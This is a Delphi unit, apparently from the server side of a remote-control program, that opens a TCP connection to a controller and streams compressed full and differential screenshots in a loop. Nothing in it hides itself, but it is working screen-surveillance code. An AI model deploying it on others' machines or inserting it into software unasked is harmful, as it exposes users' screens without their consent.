📄 tscreencaptureunit.pas
字号:
unit TScreenCaptureUnit;
interface
uses
Classes, IdTCPClient,IdGlobal,ComCtrls,SysUtils,BASE64,ZLib;
type
TScreenCaptureThread = class(TThread)
private
SysThread:TIdTCPClient;
ISFirScr:boolean;
MyFirstBmp:TMemoryStream;
MySecondBmp,MyTempBmp: TMemoryStream;
procedure CompressBitmap(bmp:TMemoryStream; Data:TMemoryStream);
protected
procedure Execute; override;
Public
constructor Create;
destructor Destroy; override;
end;
implementation
uses MainServer,My_StreamManage;
procedure TScreenCaptureThread.CompressBitmap(bmp:TMemoryStream; Data:TMemoryStream);
var
cs : TCompressionStream;
ms : TMemoryStream;
begin
try
ms := TMemoryStream.Create;
cs := TCompressionStream.Create(clDefault, ms); // clDefault is a LOT faster than clMax
bmp.SaveToStream(cs);
cs.Free;
ms.Position:=0;
Data.LoadFromStream(ms);
Ms.Free;
except
end;
end;
constructor TScreenCaptureThread.Create;
begin
inherited Create(True);
SysThread:=TIdTCPClient.Create(nil);
SysThread.RecvBufferSize:=4096;
SysThread.SendBufferSize:=4096;
SysThread.ReadTimeout :=15000;
MyFirstBmp:=TMemoryStream.Create;
MySecondBmp:= TMemoryStream.Create;
MyTempBmp:= TMemoryStream.Create;
ISFirScr:=True;
ScreenOver:=True;
FreeOnTerminate:=True;
Suspended := False;
// Priority:=tpIdle;
end;
procedure TScreenCaptureThread.Execute;
var
Buf: array[1..4096] of byte; //32768
Request:String;
NumRead:integer;
begin
if H_GZVIP2004.ConRpcport(SysThread) then
begin
try
Request:='002';
Request:=EncodeBase64(Request);
SysThread.Write(Request+EOL);
except
SysThread.Free;
Exit;
end;
try //循环发送图像
repeat
if ISFirScr then
begin
ISFirScr:=False;
MyFirstBmp.Clear;
MySecondBmp.Clear;
My_GetScreenToBmp(False,MyFirstBmp);
MyFirstBmp.Position:=0;
//---------------------
CompressBitmap(MyFirstBmp,MySecondBmp);
//---------------------
SysThread.WriteInteger(MySecondBmp.Size);
//SysThread.Write(inttostr(MySecondBmp.Size)+EOL);
//发送信息了!
repeat
try
SysThread.OpenWriteBuffer;
NumRead:=MySecondBmp.Read(Buf, SizeOf(Buf));
SysThread.WriteBuffer(Buf,NumRead);
SysThread.CloseWriteBuffer;
except
SysThread.Disconnect;
Terminate;
Exit;
end;
until (NumRead = 0);
Request:=SysThread.ReadLn(EOL);
if pos('1',Request)=0 then Break;
end else begin
MySecondBmp.Clear;
My_CompareStream(MyFirstBmp,MySecondBmp);
MyTempBmp.Clear;
MySecondBmp.Position :=0;
if (Terminated) or (SysThread.Connected=False) then
begin
SysThread.Disconnect;
Exit;
end;
try
//---------------------
CompressBitmap(MySecondBmp,MyTempBmp);
//---------------------
except
SysThread.Disconnect;
Exit;
end;
MyTempBmp.Position := 0;
//SysThread.Write(inttostr(MyTempBmp.Size)+EOL);
SysThread.WriteInteger(MyTempBmp.Size);
//发送信息了!
repeat
try
SysThread.OpenWriteBuffer;
NumRead:=MyTempBmp.Read(Buf, SizeOf(Buf));
SysThread.WriteBuffer(Buf,NumRead);
SysThread.CloseWriteBuffer;
except
SysThread.Disconnect;
SysThread.Free;
Exit;
end;
until (NumRead = 0);
Request:=SysThread.ReadLn(EOL);
if pos('1',Request)=0 then Break;
end;
until (Terminated) or (SysThread.Connected=False);
except
end;
end;
SysThread.Disconnect;
SysThread.Free;
//Terminate;
end;
destructor TScreenCaptureThread.Destroy;
begin
ScreenOver:=False;
try
MyFirstBmp.Free;
MyTempBmp.Free;
MySecondBmp.Free;
except
end;
inherited destroy;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -